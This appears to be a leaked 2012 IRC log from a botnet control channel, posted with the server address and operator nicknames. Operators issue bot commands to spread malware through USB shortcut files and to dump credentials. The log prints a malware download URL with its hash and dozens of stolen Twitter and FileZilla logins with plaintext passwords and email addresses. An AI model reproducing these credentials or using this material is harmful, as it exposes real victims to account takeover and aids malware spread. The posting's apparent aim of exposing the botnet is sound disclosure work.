188.165.202.199(500 ngrBots hosted in France Paris Ovh Systems)

Server:188.165.202.199:7000
JOIN #team hell

Local users: Current Local Users: 479 Max: 573
Global users: Current Global Users: 479 Max: 573

#team {DE|W7-64a}mkliatk!x@EFF4177A.A0F8E1F4.CC6C8B5.IP ~ZRt!Expl3it@IDFADM @Rejuven!Shlomi@IDFADM ~DAKiNE!Anonymous@IDFADM ~wGi!Nikka@IDFADM
End of /NAMES list.
:wGi!Nikka@IDFADM PRIVMSG #team :.usb on

is funny how irc bots can steal passwd from chrome

Session Start: Mon Apr 02 21:13:59 2012
Session Ident: #team around 451 bots inside
[9:13] … Now talking in #team…
[9:13] … Topic On: [ #team ] [ .up http://michigancarautoinsurance.com/download/miko_file.exe 557DD93CA3D70B4DD6905EEC14C871DD | 4 BOTNET HACKED ]
[9:13] … Topic By: [ wGi ]
[9:14] … Modes On: [ #team ] [ +sntu ]
[9:14] @(wGi) .usb on
[9:14] (n{AR|W7-32u}rbsdsqu) Updated a previous USB LNK spread on: G: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{DE|W7-64a}hzymcgx) Updated a previous USB LNK spread on: G: with a newer file: 0F1566CE70933357A09D0BE60575F313.
[9:14] (n{DE|W7-64u}qhzbyip) Updated a previous USB LNK spread on: F: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{LT|W7-64u}ahqgqle) Updated a previous USB LNK spread on: F: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{FR|VI-32u}yviaavk) Updated a previous USB LNK spread on: H: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{GB|W7-64u}hwjebtm) Updated a previous USB LNK spread on: E: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{ES|W7-32u}fhqvarv) Updated a previous USB LNK spread on: H: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] (n{TR|W7-64u}dwycvcn) Updated a previous USB LNK spread on: I: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:14] ({HU|W7-64u}rmbmupm) Updated a previous USB LNK spread on: G: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.

[9:16] @(ZRt) .acc twitter
[9:16] ({ES|VI-32u}lqtstzt) Chrome -> http://twitter.com/richar1979BC -> aitornava@hotmail.com : 123456as
[9:16] (n{AR|W7-32u}rbsdsqu) Chrome -> http://twitter.com/twitter_es -> gaston97_88@hotmail.com : ELEFANTE1
[9:16] ({US|XP-32a}osvjdbg) Chrome -> https://twitter.com/ -> zmerjames@yahoo.com : nicole
[9:16] ({BR|W7-32u}lfbexry) Chrome -> http://twitter.com/ -> junkvictor@gmail.com : vector
[9:16] (n{BR|W7-32u}zckuwzx) Chrome -> http://twitter.com/ -> junkvictor@gmail.com : vector
[9:16] (n{TR|W7-32u}apimojs) Chrome -> http://twitter.com/ -> osmcnozkn@gmail.com : 8xo04kgxo
[9:16] ({IL|XP-32a}eaetasj) Chrome -> http://twitter.com/ -> ashray0 : oh4z2345
[9:16] ({IL|XP-32a}eaetasj) Chrome -> https://twitter.com/ -> ashray0@walla.com : oh4z2345
[9:16] (n{BR|W7-32u}camjccy) Chrome -> http://twitter.com/ -> pedrozs : kokoro.
[9:16] (n{BE|W7-64u}mwruafc) Chrome -> http://twitter.fr/ -> webicraftnew@gmail.com : patate1
[9:16] (n{NO|VI-64u}fakylst) Chrome -> https://twitter.com/ -> C_Ray241 : donako
[9:16] (n{US|W7-32u}kgbtitf) Chrome -> https://twitter.com/ -> stay_freshdj : 3137mile
[9:16] (n{US|W7-32u}kgbtitf) Chrome -> https://twitter.com/settings/account -> stay_freshdj : 3137mile
[9:16] (n{US|W7-32u}kgbtitf) Chrome -> https://twitter.com/settings/account -> lowery_darion@yahoo.com : 3137mile
[9:16] (n{US|W7-32u}kgbtitf) Chrome -> http://twitter.com/ -> stay_freshdj : 3137mile
[9:16] (n{US|W7-32u}kgbtitf) Chrome -> https://twitter.com/Stay_freshDj -> stay_freshdj : 3137mile
[9:16] (n{US|W7-32u}znavzaj) Chrome -> http://twitter.com/ -> Hanofer : backstep7
[9:16] (n{US|W7-64a}jwqzkvp) Chrome -> http://api.twitter.com/oauth/authorize -> esi_dc : esilsg11
[9:16] (n{US|W7-32u}ucvlfqy) Chrome -> https://twitter.com/oauth/authenticate -> DJBIZT : danny92
[9:16] (n{US|W7-32u}ucvlfqy) Chrome -> http://twitter.com/ -> deejaybizt@gmail.com : danny92
[9:16] (n{US|W7-32u}ucvlfqy) Chrome -> http://twitter.com/DJBIZT -> deejaybizt@gmail.com : danny92
[9:16] (n{AR|VI-32u}yetdigw) Chrome -> https://twitter.com/ -> loca_porlaceleste : porsiempre
[9:16] (n{AR|VI-32u}yetdigw) Chrome -> https://twitter.com/oauth/authenticate -> diego09cai : papucho
[9:16] (n{GB|W7-64u}hwjebtm) Chrome -> https://twitter.com/ -> eddiegrattan : alvaswifts
[9:16] (n{US|W7-64a}jwqzkvp) Chrome -> http://twitter.com/ -> esi_dc : esilsg11
[9:16] (n{TR|W7-32a}dwznecw) Chrome -> https://twitter.com/omerucar_26 -> o.emreyavuz@hotmail.com : 18061999emre
[9:16] ({GR|XP-32a}ptvvaib) Chrome -> http://twitter.com/Aletta87Ocean -> mistreza19@hotmail.com : 431801
[9:16] (n{BR|W7-32a}bvxmrhu) Chrome -> http://twitter.com/ -> soundboysDF : 84052161
[9:16] ({US|VI-32u}vxqkqtd) Chrome -> http://twitter.com/ -> perpetual_84@yahoo.com : arya080984
[9:16] ({US|VI-32u}vxqkqtd) Chrome -> http://twitter.com/ -> arya.soma84@gmail.com : guitar84
[9:16] ({US|VI-32u}vxqkqtd) Chrome -> http://twitter.com/settings/account -> arya.soma84@gmail.com : guitar84
[9:16] (n{BG|W7-32a}sldfztd) Chrome -> https://twitter.com/ -> misshelenita : t3r3z1talov3
[9:16] (n{BG|W7-32a}sldfztd) Chrome -> https://twitter.com/settings/account -> terryvoskanyan@gmail.com : h3l3nital0v3.
[9:16] (n{BG|W7-32a}sldfztd) Chrome -> https://twitter.com/ -> quaintrelle_ : h3l3nital0v3.
[9:16] (n{BR|W7-64u}ucigrit) Chrome -> http://twitter.com/ -> paulo.marks : 2010eva2011
[9:16] (n{BR|W7-64u}ucigrit) Chrome -> http://twitter.com/ -> paulo.marks@hotmail.com : 2010eva2011
[9:16] (n{PT|VI-32u}isgblii) Chrome -> http://twitter.com/login -> peaceloveandmusic@live.com.pt : cpn4ever
[9:16] ({BR|W7-32u}zamtfhh) Chrome -> http://twitter.com/ -> apcafazzo : vainha
[9:16] ({GR|XP-32a}ptvvaib) Chrome -> http://twitter.com/BridgetRegan -> mistreza : 431801
[9:16] (n{US|W7-32u}znavzaj) Chrome -> http://twitter.com/login -> Hanofer : backstep7
[9:16] (n{BR|W7-32a}mnktbqh) Chrome -> https://twitter.com/ -> microney@gmail.com : 256848
[9:16] (n{BR|W7-32a}mnktbqh) Chrome -> http://twitter.com/ -> microney@bol.com.br : 256848
[9:16] (n{BR|W7-32a}mnktbqh) Chrome -> http://twitter.com/ -> microney@gmail.com : 256848
[9:16] (n{BR|W7-32a}mnktbqh) Chrome -> http://twitter.com/ -> sidneysantos : 256848
[9:16] (n{MX|VI-32u}tyxnacd) Chrome -> https://twitter.com/signup -> beto_2394@hotmail.com : caracol
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> http://twitter.com/ -> kryz_kryz : tamaki16
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> https://twitter.com/ -> kryz_kryz : tamaki16
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> https://twitter.com/settings/account -> kryzz_160993@hotmail.com : marina
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> https://twitter.com/ -> kryzz_codebreaker : tamaki16
[9:16] ({SE|W7-32a}rljneaf) Chrome -> http://twitter.com/ -> inese.77@inbox.lv : tomassr4
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> https://twitter.com/ -> kryzz_breaker : marina
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> https://twitter.com/neeldelazaroK -> kryzz_breaker : marina
[9:16] (n{ID|W7-32u}ewxsrbe) Chrome -> http://twitter.com/ -> Anaslol28@yahoo.com : 4nt1v1rus
[9:16] (n{BR|W7-64u}ucigrit) Chrome -> https://twitter.com/ -> Paulo_Marks : 2010eva2011
[9:16] (n{MX|W7-32a}qpbthmj) Chrome -> http://twitter.com/intent/session -> kryz_kryz : tamaki16
[9:16] (n{BR|W7-64u}ucigrit) Chrome -> https://twitter.com/ -> Paulo_Marks : 2010eva2011
[9:16] (n{BR|W7-32a}mnktbqh) Chrome -> https://twitter.com/ -> fatimatem : 256848
[9:16] (n{ID|W7-32u}ewxsrbe) Chrome -> https://twitter.com/ -> Anaslol28@yahoo.com : 4nt1v1rus
[9:16] (n{ID|W7-32u}ewxsrbe) Chrome -> https://twitter.com/settings/account -> Anaslol28@yahoo.com : 4nt1v1rus

[9:30] @(Rejuven) .usb on
[9:30] (n{DE|W7-64a}hzymcgx) Updated a previous USB LNK spread on: G: with a newer file: 0F1566CE70933357A09D0BE60575F313.
[9:30] (n{ES|W7-32u}fhqvarv) Updated a previous USB LNK spread on: H: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.

[9:32] @(Rejuven) .ftp
[9:32] ({CZ|W7-32u}zmwrfov) FileZilla -> proafotbal.eu – proafotbal : vojtaj
[9:32] ({CZ|W7-32u}zmwrfov) FileZilla -> proafotbal.eu – proafotbal.eu : vojtaj
[9:32] ({CZ|W7-32u}zmwrfov) FileZilla -> moje.proafotbal.eu – proafotbal.eu : vojtaj
[9:32] ({CZ|W7-32u}zmwrfov) FileZilla -> proafotbal.euweb.cz – proafotbal.euweb.cz : vojtaj
[9:32] ({CZ|W7-32u}zmwrfov) FileZilla -> proafotbal – proafotbal : vojtaj
[9:32] (n{ZA|W7-32u}byipbac) FileZilla -> funkbridalwear.comze.com – a3864687 : Reuben007
[9:32] ({BR|W7-64u}bovcdon) FileZilla -> ftp.hdfree.com.br – moebiusro.hd1.com.br : solemar
[9:32] ({BR|W7-64u}bovcdon) FileZilla -> ftp.hdfree.com.br – http://moebiusro.hd1.com.br : solemar
[9:32] ({LB|W7-32a}deekzms) FileZilla -> bemsms.zymichost.com – bemsms_zymichost : contactus
[9:32] ({LB|W7-32a}deekzms) FileZilla -> tarabouna.crocserve.com – taraboun : contactu
[9:32] (n{BR|W7-32a}bvxmrhu) FileZilla -> soundboys.com.br – rzcj163 : 5743303
[9:32] (n{FR|W7-64u}smsrykp) FileZilla -> ftpperso.free.fr – freebox :
[9:32] (n{FR|W7-64u}smsrykp) FileZilla -> hd1.freebox.fr – freebox :
[9:32] (n{FR|W7-64u}smsrykp) FileZilla -> ftpperso.free.fr – istvan :
[9:32] (n{LT|W7-64u}kouxxqh) FileZilla -> ipy.lt – micso : mylimas
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> styloco.zapto.org – King : 7arami
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> styloco.zapto.org – king : 7arami
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> styloco.zapto.org – king : 7arami
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> mp3 – king : 7arami
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> king – king : 7arami
[9:32] ({AE|XP-32a}nvralhg) FileZilla -> king – king : 7arami
[9:32] (n{US|W7-64u}cgdfbzy) FileZilla -> 115.186.127.157 – checks : copychecks
[9:32] (n{US|W7-64u}cgdfbzy) FileZilla -> 115.185.127.157 – checks : copychecks
[9:32] (n{US|W7-64u}cgdfbzy) FileZilla -> ftp.115.185.127.157 – checks : copychecks
[9:32] (n{US|W7-64u}cgdfbzy) FileZilla -> ftp.medicallienmgt.com – checks : bravo
[9:32] ({BR|W7-64u}bclbgei) FileZilla -> ftp.hdfree.com.br – moebiusro.hd1.com.br : solemar
[9:32] ({BR|W7-64u}bclbgei) FileZilla -> ftp.hdfree.com.br – http://moebiusro.hd1.com.br : solemar
[9:32] (n{HU|W7-64u}cxbmplt) FileZilla -> 10.1.80.221 – balazsf : ferko
[9:32] (n{HU|W7-64u}cxbmplt) FileZilla -> 10.1.80.221 – balazsf : ferko
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> cubcraft.freeiz.com – a5442909 : patate1
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> cubheberg.hourb.com – u994991331 : patate1
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> ftp.myriapulse.com – MineProful_s25892 : mimijul
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> web-hosting.myriapulse.com – minehelf : NWZjYTcw
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> ftp.olympe-network.com – WebiCraft : patate1
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> ftp.olympe-network.com – mastercraft : patate1
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> ftp.olympe-network.com – atkteamaos : patate1
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> partyzfan.olympe-network.com – partyzfan : patate1
[9:32] (n{FR|W7-32u}hphwwua) FileZilla -> ftpperso.free.fr – syrine001 :
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> partyfan.altervista.org – partyfan : cicnacisce95
[9:32] (n{BE|W7-64u}mwruafc) FileZilla -> ftp.alertvista.org – partyfan : patate1
[9:34] @(wGi) .usb on
[9:34] ({DE|W7-64a}mkliata) Updated a previous USB LNK spread on: G: with a newer file: 557DD93CA3D70B4DD6905EEC14C871DD.
[9:34] ({ES|W7-32u}mivhcdx) Updated a previous USB LNK spread on: H: with a newer file: 0F1566CE70933357A09D0BE60575F313.
[9:34] (n{FR|W7-64u}yykzyxo) Completed USB LNK spread on: I: with 6 folders.
[9:34] (n{AR|VI-32u}lsomlcr) Completed USB LNK spread on: D: with 11 folders.
[9:34] @(Rejuven) dvir pm
[9:35] ({BR|W7-64u}pblumuz) Completed USB LNK spread on: F: with 49 folders.
[9:55] @(Rejuven) אני מדביק לי כמה
[9:55] @(Rejuven) משעמם לי
[9:56] (n{BR|W7-32u}hvxvgpj) Executed: ‘C:Usersnot-saudeAppDataRoamingbhmmcr.exe’, Type: Native, Size: 174592 bytes.
[9:56] @(wGi) :LK

botnet owners in this screenshot:

hosting infos:
http://whois.domaintools.com/188.165.202.199